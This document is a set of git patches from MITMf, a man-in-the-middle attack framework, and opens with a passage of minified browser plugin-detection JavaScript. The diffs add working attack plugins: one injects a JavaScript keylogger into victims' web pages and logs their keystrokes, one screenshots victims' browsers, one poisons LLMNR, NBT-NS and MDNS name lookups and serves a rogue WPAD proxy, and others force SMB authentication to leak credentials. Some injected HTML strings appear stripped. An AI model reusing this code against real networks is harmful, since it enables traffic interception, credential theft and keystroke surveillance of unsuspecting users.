t=this,r,p=null,q;if((!r||PluginDetect.dbug)&&t.nav.query().installed){r=1}if((!p||PluginDetect.dbug)&&t.nav.query().version){p=t.nav.version}if((!r||PluginDetect.dbug)&&t.axo.query().installed){r=1}if((!p||PluginDetect.dbug)&&t.axo.query().version){p=t.axo.version}if(!p||PluginDetect.dbug){q=t.codebase.isMin(s);if(q){t.setPluginStatus(0,0,q);return}}if(!p||PluginDetect.dbug){q=t.codebase.search();if(q){r=1;p=q}}t.setPluginStatus(r,p,0)},nav:{hasRun:0,installed:0,version:null,mimeType:["application/x-vlc-plugin","application/x-google-vlc-plugin","application/mpeg4-muxcodetable","application/x-matroska","application/xspf+xml","video/divx","video/webm","video/x-mpeg","video/x-msvideo","video/ogg","audio/x-flac","audio/amr","audio/amr"],find:"VLC.*Plug-?in",find2:"VLC|VideoLAN",avoid:"Totem|Helix",plugins:["VLC Web Plugin","VLC Multimedia Plug-in","VLC Multimedia Plugin","VLC multimedia plugin"],query:function(){var s=this,p,r,q=s.hasRun||!PluginDetect.hasMimeType(s.mimeType);s.hasRun=1;if(q){return s}r=PluginDetect.pd.findNavPlugin({find:s.find,avoid:s.avoid,mimes:s.mimeType,plugins:s.plugins});if(r){s.installed=1;if(r.description){p=PluginDetect.getNum(r.description+"","[\\d][\\d\\.]*[a-z]*")}if(p){s.version=p}}return s}},axo:{hasRun:0,installed:0,version:null,progID:"VideoLAN.VLCPlugin",query:function(){var q=this,s,p,r=q.hasRun;q.hasRun=1;if(r){return q}s=PluginDetect.getAXO(q.progID);if(s){q.installed=1;p=PluginDetect.getNum(PluginDetect.pd.getPROP(s,"VersionInfo"),"[\\d][\\d\\.]*[a-z]*");if(p){q.version=p}}return q}},codebase:{classID:"clsid:9BE31822-FDAD-461B-AD51-BE1D1C159921",isMin:function(p){this.$$=f;return PluginDetect.codebase.isMin(this,p)},search:function(){this.$$=f;return PluginDetect.codebase.search(this)},DIGITMAX:[[11,11,16]],DIGITMIN:[0,0,0,0],Upper:["999"],Lower:["0"],convert:[1]}};PluginDetect.addPlugin("vlc",f);var c={OTF:null,setPluginStatus:function(){var p=this,B=p.OTF,v=p.nav.detected,x=p.nav.version,z=p.nav.precision,C=z,u=x,s=v>0;var H=p.axo.detected,r=p.axo.version,w=p.axo.precision,D=p.doc.detected,G=p.doc.version,t=p.doc.precision,E=p.doc2.detected,F=p.doc2.version,y=p.doc2.precision;u=F||u||r||G;C=y||C||w||t;s=E>0||s||H>0||D>0;u=u||null;p.version=PluginDetect.formatNum(u);p.precision=C;var q=-1;if(B==3){q=p.version?0.5:-0.5}else{if(u){q=1}else{if(s){q=0}else{if(H==-0.5||D==-0.5){q=-0.15}else{if(PluginDetect.browser.isIE&&(!PluginDetect.browser.ActiveXEnabled||PluginDetect.browser.ActiveXFilteringEnabled)){q=-1.5}}}}}p.installed=q;if(p.getVersionDone!=1){var A=1;if((p.verify&&p.verify.isEnabled())||p.installed==0.5||p.installed==-0.5){A=0}else{if(p.doc2.isDisabled()==1){A=0}}p.getVersionDone=A}},getVersion:function(s,r){var p=this,q=0,t=p.verify;if(p.getVersionDone===null){p.OTF=0;if(t){t.init()}}PluginDetect.file.save(p,".pdf",r);if(p.getVersionDone===0){p.doc2.insertHTMLQuery();p.setPluginStatus();return}if((!q||PluginDetect.dbug)&&p.nav.query().version){q=1}if((!q||PluginDetect.dbug)&&p.axo.query().version){q=1}if((!q||PluginDetect.dbug)&&p.doc.query().version){q=1}if(1){p.doc2.insertHTMLQuery()}p.setPluginStatus()},getPrecision:function(v,u,t){if(PluginDetect.isString(v)){u=u||"";t=t||"";var q,s="\\d+",r="[\\.]",p=[s,s,s,s];for(q=4;q>0;q--){if((new RegExp(u+p.slice(0,q).join(r)+t)).test(v)){return q}}}return 0},nav:{detected:0,version:null,precision:0,mimeType:["application/pdf","application/vnd.adobe.pdfxml"],find:"Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in",plugins:["Adobe Acrobat","Adobe Acrobat and Reader Plug-in","Adobe Reader Plugin"],query:function(){var r=this,q,p=null;if(r.detected||!PluginDetect.hasMimeType(r.mimeType)){return r}q=PluginDetect.pd.findNavPlugin({find:r.find,mimes:r.mimeType,plugins:r.plugins});r.detected=q?1:-1;if(q){p=PluginDetect.getNum(q.description)||PluginDetect.getNum(q.name);p=PluginDetect.getPluginFileVersion(q,p);if(!p){p=r.attempt3()}if(p){r.version=p;r.precision=c.getPrecision(p)}}return r},attempt3:function(){var p=null;if(PluginDetect.OS==1){if(PluginDetect.hasMimeType("application/vnd.adobe.pdfxml")){p="9"}else{if(PluginDetect.hasMimeType("application/vnd.adobe.x-mars")){p="8"}else{if(PluginDetect.hasMimeType("application/vnd.adobe.xfdf")){p="6"}}}}return p}},activexQuery:function(w){var u="",t,q,s,r,p={precision:0,version:null};try{if(w){u=w.GetVersions()+"";}}catch(v){}if(u&&PluginDetect.isString(u)){t=/\=\s*[\d\.]+/g;r=u.match(t);if(r){for(q=0;q0)){p.version=s}}p.precision=c.getPrecision(u,"\\=\\s*")}}return p},axo:{detected:0,version:null,precision:0,progID:["AcroPDF.PDF","AcroPDF.PDF.1","PDF.PdfCtrl","PDF.PdfCtrl.5","PDF.PdfCtrl.1"],progID_dummy:"AcroDUMMY.DUMMY",query:function(){var t=this,q=c,u,v,s,r,p,w;if(t.detected){return t}t.detected=-1;v=PluginDetect.getAXO(t.progID_dummy);if(!v){w=PluginDetect.errObj}for(p=0;p0||w?1:(q==-0.1||q==-0.5?-0.5:-1);if(w){y.version=w}if(t){y.precision=t}return y}},doc2:{detected:0,version:null,precision:0,classID:"clsid:CA8A9780-280D-11CF-A24D-444553540000",mimeType:"application/pdf",HTML:0,count:0,count2:0,time2:0,intervalLength:50,maxCount:150,isDisabled:function(){var r=this,v=c,u=v.axo,p=v.nav,x=v.doc,w,t,q=0,s;if(r.HTML){q=2}else{if(PluginDetect.dbug){}else{if(!PluginDetect.DOM.isEnabled.objectTagUsingActiveX()){q=2}else{w=(p?p.version:0)||(u?u.version:0)||(x?x.version:0)||0;t=(p?p.precision:0)||(u?u.precision:0)||(x?x.precision:0)||0;if(!w||!t||t>2||PluginDetect.compareNums(PluginDetect.formatNum(w),PluginDetect.formatNum("11"))<0){q=2}}}}if(q<2){s=PluginDetect.file.getValid(v);if(!s||!s.full){q=1}}return q},handlerSet:0,onMessage:function(){var p=this;return function(q){if(p.version){return}p.detected=1;if(PluginDetect.isArray(q)){q=q[0]}q=PluginDetect.getNum(q+"");if(q){if(!(/[.,_]/).test(q)){q+="."}q+="00000";if((/^(\d+)[.,_](\d)(\d\d)(\d\d)/).test(q)){q=RegExp.$1+","+RegExp.$2+","+RegExp.$3+","+RegExp.$4}p.version=PluginDetect.formatNum(q);p.precision=3;c.setPluginStatus()}}},isDefinedMsgHandler:function(q,r){try{return q?q.messageHandler!==r:0}catch(p){}return 1},queryObject:function(){var r=this,s=r.HTML,q=s?s.obj():0;if(!q){return}if(!r.handlerSet&&r.isDefinedMsgHandler(q)){try{q.messageHandler={onMessage:r.onMessage()}}catch(p){}r.handlerSet=1;r.count2=r.count;r.time2=(new Date()).getTime()}if(!r.detected){if(r.count>3&&!r.handlerSet){r.detected=-1}else{if(r.time2&&r.count-r.count2>=r.maxCount&&(new Date()).getTime()-r.time2>=r.intervalLength*r.maxCount){r.detected=-0.5}}}if(r.detected){if(r.detected!=-1){}}},insertHTMLQuery:function(){var u=this,p=c,r=PluginDetect.DOM.altHTML,q,s,t=0;if(u.isDisabled()){return u}if(p.OTF<2){p.OTF=2}q=PluginDetect.file.getValid(p).full;s=PluginDetect.DOM.iframe.insert(0,"Adobe Reader");PluginDetect.DOM.iframe.write(s,''.format(self.js_url) - - if self.js_payload is not None: - payload += ''.format(self.js_payload) - - if self.js_file: - payload += ''.format(self.js_file.read()) - - return payload - def _ip_filter(self, ip): if self.white_ips[0] != '': @@ -122,8 +132,7 @@ class Inject(Plugin): return True - - def _should_inject(self, ip, hn, mime): + def _should_inject(self, ip, hn): if self.count_limit == self.rate_limit is None and not self.per_domain: return True @@ -138,45 +147,16 @@ class Inject(Plugin): if self.per_domain: return not ip+hn in self.dtable - return mime.find(self.mime) != -1 - - def _get_req_info(self, response): - ip = response.getClientIP() - hn = response.getRequestHostname() - mime = response.headers['Content-Type'] - return (ip, hn, mime) - - def _insert_html(self, data, pre=[], post=[], re_flags=re.I): - ''' - To use this function, simply pass a list of tuples of the form: - - (string/regex_to_match,html_to_inject) - - NOTE: Matching will be case insensitive unless differnt flags are given - - The pre array will have the match in front of your injected code, the post - will put the match behind it. - ''' - pre_regexes = [re.compile(r"(?P"+i[0]+")", re_flags) for i in pre] - post_regexes = [re.compile(r"(?P"+i[0]+")", re_flags) for i in post] - - for i, r in enumerate(pre_regexes): - data = re.sub(r, "\g"+pre[i][1], data) - - for i, r in enumerate(post_regexes): - data = re.sub(r, post[i][1]+"\g", data) - - return data + return True def options(self, options): options.add_argument("--js-url", type=str, help="URL of the JS to inject") options.add_argument('--js-payload', type=str, help='JS string to inject') - options.add_argument('--js-file', type=argparse.FileType('r'), help='File containing JS to inject') + options.add_argument('--js-file', type=str, help='File containing JS to inject') options.add_argument("--html-url", type=str, help="URL of the HTML to inject") options.add_argument("--html-payload", type=str, help="HTML string to inject") - options.add_argument('--html-file', type=argparse.FileType('r'), help='File containing HTML to inject') - options.add_argument("--match-str", type=str, default='', help="String you would like to match and place your payload before. ( by default)") - + options.add_argument('--html-file', type=str, help='File containing HTML to inject') + group = options.add_mutually_exclusive_group(required=False) group.add_argument("--per-domain", action="store_true", help="Inject once per domain per client.") group.add_argument("--rate-limit", type=float, help="Inject once every RATE_LIMIT seconds per client.") diff --git a/plugins/jskeylogger.py b/plugins/jskeylogger.py new file mode 100644 index 0000000..41c008f --- /dev/null +++ b/plugins/jskeylogger.py @@ -0,0 +1,62 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +from plugins.inject import Inject +from plugins.plugin import Plugin + +class JSKeylogger(Inject, Plugin): + name = "JSKeylogger" + optname = "jskeylogger" + desc = "Injects a javascript keylogger into clients webpages" + version = "0.2" + + def initialize(self, options): + Inject.initialize(self, options) + self.js_file = "./core/javascript/msfkeylogger.js" + + def request(self, request): + if 'keylog' in request.uri: + request.handle_post_output = True + + raw_keys = request.postData.split("&&")[0] + input_field = request.postData.split("&&")[1] + + keys = raw_keys.split(",") + if keys: + del keys[0]; del(keys[len(keys)-1]) + + nice = '' + for n in keys: + if n == '9': + nice += "" + elif n == '8': + nice = nice[:-1] + elif n == '13': + nice = '' + else: + try: + nice += n.decode('hex') + except: + self.clientlog.error("Error decoding char: {}".format(n), extra=request.clientInfo) + + self.clientlog.info("Host: {} | Field: {} | Keys: {}".format(request.headers['host'], input_field, nice), extra=request.clientInfo) + + def options(self, options): + pass \ No newline at end of file diff --git a/plugins/plugin.py b/plugins/plugin.py index 89ab856..f42efd6 100644 --- a/plugins/plugin.py +++ b/plugins/plugin.py @@ -1,5 +1,3 @@ -#!/usr/bin/env python2.7 - # Copyright (c) 2014-2016 Marcello Salvati # # This program is free software; you can redistribute it and/or @@ -24,7 +22,7 @@ import argparse from core.configwatcher import ConfigWatcher from core.logger import logger -class Plugin(ConfigWatcher, object): +class Plugin(ConfigWatcher): name = "Generic plugin" optname = "generic" tree_info = [] diff --git a/plugins/replace.py b/plugins/replace.py new file mode 100644 index 0000000..c12fdbe --- /dev/null +++ b/plugins/replace.py @@ -0,0 +1,53 @@ +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +""" + +Original plugin by @rubenthijssen + +""" + +import re +from plugins.plugin import Plugin + +class Replace(Plugin): + name = "Replace" + optname = "replace" + desc = "Replace arbitrary content in HTML content" + version = "0.2" + + def initialize(self, options): + self.options = options + + def response(self, response, request, data): + mime = response.headers['Content-Type'] + hn = response.getRequestHostname() + + if "text/html" in mime: + + for rulename, regexs in self.config['Replace'].iteritems(): + for regex1,regex2 in regexs.iteritems(): + if re.search(regex1, data): + try: + data = re.sub(regex1, regex2, data) + + self.clientlog.info("occurances matching '{}' replaced with '{}' according to rule '{}'".format(regex1, regex2, rulename), extra=request.clientInfo) + except Exception: + self.log.error("Your provided regex ({}) or replace value ({}) is empty or invalid. Please debug your provided regex(es) in rule '{}'".format(regex1, regex2, rulename)) + + return {'response': response, 'request': request, 'data': data} diff --git a/plugins/responder.py b/plugins/responder.py new file mode 100644 index 0000000..aa2a6f9 --- /dev/null +++ b/plugins/responder.py @@ -0,0 +1,141 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +from plugins.plugin import Plugin +from twisted.internet import reactor + +class Responder(Plugin): + name = "Responder" + optname = "responder" + desc = "Poison LLMNR, NBT-NS and MDNS requests" + tree_info = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"] + version = "0.2" + has_opts = True + + def initialize(self, options): + '''Called if plugin is enabled, passed the options namespace''' + self.options = options + self.interface = options.interface + self.ip = options.ip + + try: + config = self.config['Responder'] + smbChal = self.config['MITMf']['SMB']['Challenge'] + except Exception as e: + shutdown('[-] Error parsing config for Responder: ' + str(e)) + + from core.responder.llmnr.LLMNRpoisoner import LLMNRpoisoner + from core.responder.mdns.MDNSpoisoner import MDNSpoisoner + from core.responder.nbtns.NBTNSpoisoner import NBTNSpoisoner + from core.responder.fingerprinter.LANfingerprinter import LANfingerprinter + + LANfingerprinter().start(options) + MDNSpoisoner().start(options, options.ip) + NBTNSpoisoner().start(options, options.ip) + LLMNRpoisoner().start(options, options.ip) + + if options.wpad: + from core.servers.http.HTTPserver import HTTPserver + import flask + + server = HTTPserver().server + + @server.route('/') + def wpad(wpad_req): + if (wpad_req == 'wpad.dat') or (wpad_req.endswith('.pac')): + payload = self.config['Responder']['WPADScript'] + + resp = flask.Response(payload) + resp.headers['Server'] = "Microsoft-IIS/6.0" + resp.headers['Content-Type'] = "application/x-ns-proxy-autoconfig" + resp.headers['X-Powered-By'] = "ASP.NET" + resp.headers['Content-Length'] = len(payload) + + return resp + + if self.config["Responder"]["MSSQL"].lower() == "on": + from core.responder.mssql.MSSQLserver import MSSQLserver + MSSQLserver().start(smbChal) + + if self.config["Responder"]["Kerberos"].lower() == "on": + from core.responder.kerberos.KERBserver import KERBserver + KERBserver().start() + + if self.config["Responder"]["FTP"].lower() == "on": + from core.responder.ftp.FTPserver import FTPserver + FTPserver().start() + + if self.config["Responder"]["POP"].lower() == "on": + from core.responder.pop3.POP3server import POP3server + POP3server().start() + + if self.config["Responder"]["SMTP"].lower() == "on": + from core.responder.smtp.SMTPserver import SMTPserver + SMTPserver().start() + + if self.config["Responder"]["IMAP"].lower() == "on": + from core.responder.imap.IMAPserver import IMAPserver + IMAPserver().start() + + if self.config["Responder"]["LDAP"].lower() == "on": + from core.responder.ldap.LDAPserver import LDAPserver + LDAPserver().start(smbChal) + + if options.analyze: + self.tree_info.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned") + self.IsICMPRedirectPlausible(options.ip) + + def IsICMPRedirectPlausible(self, IP): + result = [] + dnsip = [] + for line in file('/etc/resolv.conf', 'r'): + ip = line.split() + if len(ip) < 2: + continue + if ip[0] == 'nameserver': + dnsip.extend(ip[1:]) + + for x in dnsip: + if x !="127.0.0.1" and self.IsOnTheSameSubnet(x,IP) == False: + self.tree_info.append("You can ICMP Redirect on this network. This workstation ({}) is not on the same subnet than the DNS server ({})".format(IP, x)) + else: + pass + + def IsOnTheSameSubnet(self, ip, net): + net = net+'/24' + ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16) + netstr, bits = net.split('/') + netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16) + mask = (0xffffffff << (32 - int(bits))) & 0xffffffff + return (ipaddr & mask) == (netaddr & mask) + + def reactor(self, strippingFactory): + reactor.listenTCP(3141, strippingFactory) + + def options(self, options): + options.add_argument('--analyze', dest="analyze", action="store_true", help="Allows you to see NBT-NS, BROWSER, LLMNR requests without poisoning") + options.add_argument('--wredir', dest="wredir", default=False, action="store_true", help="Enables answers for netbios wredir suffix queries") + options.add_argument('--nbtns', dest="nbtns", default=False, action="store_true", help="Enables answers for netbios domain suffix queries") + options.add_argument('--fingerprint', dest="finger", default=False, action="store_true", help = "Fingerprint hosts that issued an NBT-NS or LLMNR query") + options.add_argument('--lm', dest="lm", default=False, action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier") + options.add_argument('--wpad', dest="wpad", default=False, action="store_true", help = "Start the WPAD rogue proxy server") + # Removed these options until I find a better way of implementing them + #options.add_argument('--forcewpadauth', dest="forceWpadAuth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False") + #options.add_argument('--basic', dest="basic", default=False, action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned") diff --git a/plugins/screenshotter.py b/plugins/screenshotter.py new file mode 100644 index 0000000..b7f9ccc --- /dev/null +++ b/plugins/screenshotter.py @@ -0,0 +1,59 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import base64 +import urllib +import re + +from datetime import datetime +from plugins.plugin import Plugin +from plugins.inject import Inject + +class ScreenShotter(Inject, Plugin): + name = 'ScreenShotter' + optname = 'screen' + desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser' + ver = '0.1' + + def initialize(self, options): + Inject.initialize(self, options) + self.js_payload = self.get_payload() + self.interval = options.interval + + def request(self, request): + if 'saveshot' in request.uri: + request.handle_post_output = True + + client = request.client.getClientIP() + img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")) + try: + with open('./logs/' + img_file, 'wb') as img: + img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1])) + img.close() + + self.clientlog.info('Saved screenshot to {}'.format(img_file), extra=request.clientInfo) + except Exception as e: + self.clientlog.error('Error saving screenshot: {}'.format(e), extra=request.clientInfo) + + def get_payload(self): + return re.sub("SECONDS_GO_HERE", str(self.interval*1000), open("./core/javascript/screenshot.js", "rb").read()) + + def options(self, options): + options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=10, help="Interval at which screenshots will be taken (default 10 seconds)") diff --git a/plugins/smbauth.py b/plugins/smbauth.py new file mode 100644 index 0000000..eb67aa8 --- /dev/null +++ b/plugins/smbauth.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +from plugins.plugin import Plugin +from plugins.inject import Inject + +class SMBAuth(Inject, Plugin): + name = "SMBAuth" + optname = "smbauth" + desc = "Evoke SMB challenge-response auth attempts" + version = "0.1" + + def initialize(self, options): + self.ip = options.ip + Inject.initialize(self, options) + self.html_payload = self._get_data() + + def _get_data(self): + return ''\ + ''\ + '' % tuple([self.ip]*3) + + def options(self, options): + pass diff --git a/plugins/smbtrap.py b/plugins/smbtrap.py new file mode 100644 index 0000000..ceec87f --- /dev/null +++ b/plugins/smbtrap.py @@ -0,0 +1,38 @@ +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# +import random +import string + +from plugins.plugin import Plugin + +class SMBTrap(Plugin): + name = "SMBTrap" + optname = "smbtrap" + desc = "Exploits the SMBTrap vulnerability on connected clients" + version = "1.0" + + def initialize(self, options): + self.ip = options.ip + + def responsestatus(self, request, version, code, message): + return {"request": request, "version": version, "code": 302, "message": "Found"} + + def responseheaders(self, response, request): + self.clientlog.info("Trapping request to {}".format(request.headers['host'])) + rand_path = ''.join(random.sample(string.ascii_uppercase + string.digits, 8)) + response.headers["Location"] = "file://{}/{}".format(self.ip, rand_path) diff --git a/plugins/upsidedownternet.py b/plugins/upsidedownternet.py new file mode 100644 index 0000000..a3a53b6 --- /dev/null +++ b/plugins/upsidedownternet.py @@ -0,0 +1,61 @@ +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +from cStringIO import StringIO +from plugins.plugin import Plugin +from PIL import Image, ImageFile + +class Upsidedownternet(Plugin): + name = "Upsidedownternet" + optname = "upsidedownternet" + desc = 'Flips images 180 degrees' + version = "0.1" + + def initialize(self, options): + self.options = options + + def responseheaders(self, response, request): + '''Kill the image skipping that's in place for speed reasons''' + if request.isImageRequest: + request.isImageRequest = False + request.isImage = True + self.imageType = response.headers['content-type'].split('/')[1].upper() + + def response(self, response, request, data): + try: + isImage = getattr(request, 'isImage') + except AttributeError: + isImage = False + + if isImage: + try: + #For some reason more images get parsed using the parser + #rather than a file...PIL still needs some work I guess + p = ImageFile.Parser() + p.feed(data) + im = p.close() + im = im.transpose(Image.ROTATE_180) + output = StringIO() + im.save(output, format=self.imageType) + data = output.getvalue() + output.close() + self.clientlog.info("Flipped image".format(response.getClientIP())) + except Exception as e: + self.clientlog.info("Error: {}".format(response.getClientIP(), e)) + + return {'response': response, 'request': request, 'data': data} From ba14ed8687746b4481d3281ef8ae4d58a6cd39c1 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sat, 25 Jul 2015 02:49:41 +0200 Subject: [PATCH 212/323] This commit refactors ARP and DHCP poisoning: DHCP poisoning now works on Windows, additionaly it's been optimized for performance improvements ARP poisoning has been optimized with and internal cache and some algo improvements cve-details-parser.py has been added to the utils/ directory to help adding exploits to the BrowserSniper config file I'm currently working on adding to the filepwn plugin all of the missing options that bdfproxy stand-alone has --- CONTRIBUTING.md | 18 ++ README.md | 30 +-- config/mitmf.conf | 315 ++++++++++++++++------------ core/ferretng/ClientRequest.py | 7 +- core/javascript/plugindetect.js | 26 +-- core/javascript/screenshot.js | 8 +- core/mitmfapi.py | 40 ++-- core/netcreds/NetCreds.py | 16 +- core/poisoners/arp/ARPpoisoner.py | 266 +++++++++-------------- core/poisoners/dhcp/DHCPpoisoner.py | 190 +++++++++-------- core/poisoners/icmp/ICMPpoisoner.py | 16 +- core/sergioproxy/ProxyPlugins.py | 1 + core/servers/dns/DNSchef.py | 9 +- core/servers/http/HTTPserver.py | 16 ++ core/servers/smb/KarmaSMB.py | 24 +-- core/servers/smb/SMBserver.py | 4 +- core/sslstrip/ClientRequest.py | 7 +- core/sslstrip/ServerConnection.py | 8 +- core/utils.py | 17 +- mitmf.py | 16 +- plugins/appcachepoison.py | 2 +- plugins/browserprofiler.py | 1 + plugins/browsersniper.py | 179 ++++++++++++++++ plugins/ferretng.py | 116 +++++----- plugins/filepwn.py | 52 +++-- plugins/htadriveby.py | 50 ++--- plugins/inject.py | 2 +- plugins/replace.py | 38 ++-- plugins/responder.py | 12 +- plugins/screenshotter.py | 48 ++--- plugins/spoof.py | 115 ++++++++++ plugins/sslstrip+.py | 49 +++++ requirements.txt | 17 -- tools/cve-details-parser.py | 32 +++ update.sh | 11 - 35 files changed, 1082 insertions(+), 676 deletions(-) create mode 100644 CONTRIBUTING.md mode change 100644 => 100755 core/servers/smb/KarmaSMB.py create mode 100644 plugins/browsersniper.py create mode 100644 plugins/spoof.py create mode 100644 plugins/sslstrip+.py delete mode 100644 requirements.txt create mode 100755 tools/cve-details-parser.py delete mode 100755 update.sh diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 0000000..2fe828e --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,18 @@ +Contributing +============ +Hi! Thanks for taking the time and contributing to MITMf! Pull requests are always welcome! + +Submitting Issues +================= +If you have *questions* regarding the framework please email me at byt3bl33d3r@gmail.com + +**Only submit issues if you find a bug in the latest version of the framework.** + +When inevitably you do come across said *bug*, please open an issue and include at least the following in the description: + +- Full command string you used +- OS you're using +- Full error traceback, if any +- A packet capture if relevant + +Also, remember that Github markdown is your friend! \ No newline at end of file diff --git a/README.md b/README.md index f1a7b8d..ea81b85 100644 --- a/README.md +++ b/README.md @@ -10,12 +10,11 @@ Twitter: @byt3bl33d3r IRC on Freenode: #MITMf Email: byt3bl33d3r@gmail.com -**Update: Installation steps have changed! Please read the new [instructions](#installation)** - -**Before submitting issues, please read the [FAQ](#faq) and the appropriate [section](#submitting-issues).** +**Before submitting issues, please read the [FAQ](#faq) and [CONTRIBIUTING.md](#submitting-issues).** Available plugins ================= +- ```HTA Drive-By``` - Injects a fake update notification and prompts clients to download an HTA application - ```SMBtrap``` - Exploits the 'SMB Trap' vulnerability on connected clients - ```Screenshotter``` - Uses HTML5 Canvas to render an accurate screenshot of a clients browser - ```Responder``` - LLMNR, NBT-NS, WPAD and MDNS poisoner @@ -84,33 +83,20 @@ Installation If you're rocking Kali and want the latest version: - Clone this repository - Run the ```kali_setup.sh``` script +**Note: you can ignore any errors when ```pip``` tries to install dependencies, MITMf should be able to run anyway** If you're rocking any other Linux distro: - Clone this repository - Run the ```other_setup.sh``` script -- Run the command ```pip install --upgrade -r requirements.txt``` to install all Python dependencies - -Submitting Issues -================= -If you have *questions* regarding the framework please email me at byt3bl33d3r@gmail.com - -**Only submit issues if you find a bug in the latest version of the framework.** - -When inevitably you do come across said *bug*, please open an issue and include at least the following in the description: - -- Full command string you used -- OS you're using -- Full error traceback, if any - -Also, remember that Github markdown is your friend! +- Run the command ```pip install --upgrade mitmflib``` to install all Python dependencies FAQ === - **Is Windows supported?** -- No +- No, it will never be supported - **Is OSX supported?** -- Currently no, although with some tweaking (which I'll probably get around to in the near future), it should be able to run perfectly on OSX. +- Yes! Initial compatibility has been introduced in 0.9.8! Find anything broken submit a PR or open an issue ticket! - **I can't install package X because of an error!** - Try installing the package via ```pip``` or your distro's package manager. This *isn't* a problem with MITMf. @@ -121,5 +107,5 @@ FAQ - **I get an ImportError when launching MITMf!** - Please read the [installation](#installation) guide. -- **Dude, no documentation/video tutorials?** -- Currently no but once the framework hits 1.0, I'll probably start writing/making some. +- **Dude, no documentation?** +- The docs are a work in progress at the moment, once the framework hits 1.0 I will push them to the wiki \ No newline at end of file diff --git a/config/mitmf.conf b/config/mitmf.conf index 1747651..767fd9b 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -12,12 +12,22 @@ pass = beef [[Metasploit]] - - msfport = 8080 # Port to 